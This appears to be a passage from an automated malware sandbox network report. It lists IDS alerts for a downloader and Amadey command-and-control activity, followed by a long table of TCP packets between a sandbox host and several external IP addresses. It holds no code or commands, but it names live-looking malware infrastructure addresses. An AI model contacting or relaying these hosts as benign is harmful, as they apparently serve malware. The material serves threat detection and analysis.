2024-11-16T13:01:41.834844+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49802	185.215.113.206	80	TCP
2024-11-16T13:01:46.052519+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49947	185.215.113.16	80	TCP
2024-11-16T13:03:05.388957+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50125	185.215.113.43	80	TCP
2024-11-16T13:03:08.945214+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50127	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 16, 2024 13:01:08.659665108 CET	49674	443	192.168.2.5	23.1.237.91
Nov 16, 2024 13:01:08.659691095 CET	49675	443	192.168.2.5	23.1.237.91
Nov 16, 2024 13:01:08.784610987 CET	49673	443	192.168.2.5	23.1.237.91
Nov 16, 2024 13:01:13.675555944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:13.680893898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:13.681129932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:13.681353092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:13.686358929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:14.591619015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:14.591742992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:14.595448017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:14.600508928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:14.897968054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:14.898092031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:14.899727106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:14.904864073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.209302902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.209343910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.209362030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.209379911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.209418058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.209418058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.211266041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.216597080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.492923021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.492958069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.492994070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.493000031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.493011951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.493030071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.493030071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.493032932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.493052006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.493053913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.493072033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.493073940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.493144035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.493187904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.493669033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.493709087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.495248079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.500432014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.777530909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.777601957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.878081083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.878176928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:15.882980108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.883280039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.883291960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.883301973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.883323908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.883348942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:15.883405924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:16.681794882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:16.681953907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.017498016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.022444963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.296545982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.296588898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.296622992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.296699047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.296705008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.296736002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.296749115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.296781063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.296785116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.296814919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.296818972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.296837091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.296854973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.296854973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.296904087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.297691107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.297828913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.297859907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.297904015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.297966957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.298001051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.298018932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.298034906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.298048973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.298093081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.451778889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.451802969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.451818943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.451895952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.451960087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.451967955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.451972961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.452003002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.452023983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.452095985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.452111959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.452128887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.452145100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.452145100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.452168941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.452202082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.452760935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.452795029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.452816010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.452836990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.452848911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.452883005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.452896118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.452919006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.452941895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.452972889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.453716993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.453757048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.453780890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.453794003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.453807116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.453826904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.453846931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.453864098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.453874111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.453927994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.454657078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.454689026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.454716921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.454726934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.454730988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.454770088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.572643995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.572700024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.572736979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.572755098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.572788954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.607508898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.607568979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.607574940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.607599974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.607619047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.607642889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.607650042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.607701063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.607728958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.607733965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.607763052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.607769012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.607796907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.607805014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.607817888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.607840061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.607851982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.607883930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.608462095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.608516932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.608516932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.608568907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.608568907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.608603001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.608633995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.608654022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.608875990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.608926058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.608927965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.608963013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.608969927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.608995914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.609005928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.609031916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.609040022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.609067917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.609085083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.609117985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.609627008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.609675884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.609678984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.609720945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.609730005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.609764099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.609775066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.609796047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.609807014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.609832048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.609838009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.609865904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.609875917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.609911919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.610634089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.610666990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.610688925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.610711098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.610719919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.610753059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.610769033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.610788107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.610794067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.610821009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.610831022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.610856056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.610858917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.610898018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.611618996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.611653090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.611665010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.611687899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.611699104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.611733913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.691379070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.691456079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.691492081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.691524982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.691562891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.691577911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.691577911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.691577911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.691593885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.691596985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.691605091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.691646099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.726038933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.726078033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.726133108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.726144075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.726166010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.726172924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.726192951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.726202011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.726232052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.726237059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.726254940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.726284027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.726368904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.726402044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.726419926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.726448059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762156963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762306929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762315035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762337923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762368917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762371063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762393951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762406111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762413979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762440920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762473106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762476921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762499094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762511015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762520075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762546062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762563944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762594938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762835026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762870073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762891054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762904882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762913942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762938976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.762952089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.762986898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.763019085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.763052940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.763072014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.763088942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.763102055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.763132095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.763190985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.763225079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.763242960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.763258934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.763282061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.763353109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.763782024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.763816118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.763835907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.763849974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.763855934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.763902903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.763910055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.763938904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.763952017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.763972044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.763983965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764008045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764008045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764039993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764058113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764074087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764084101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764108896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764122009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764154911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764553070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764585972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764610052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764624119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764625072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764672995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764722109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764755011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764775991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764790058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764800072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764825106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764831066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764859915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764868975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764894009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764909029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764929056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.764951944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.764983892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.765270948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.765326023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.765475988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.765511990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.765530109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.765551090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.765635967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.765669107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.765691042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.765705109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.765710115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.765738010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.765753984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.765773058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.765784025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.765805006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.765821934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.765840054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.765851974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.765888929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.766360998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.766411066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.766590118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.766623974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:17.766640902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:17.766659021 CET	80	49704	185.215.113.206	192.168.2.5
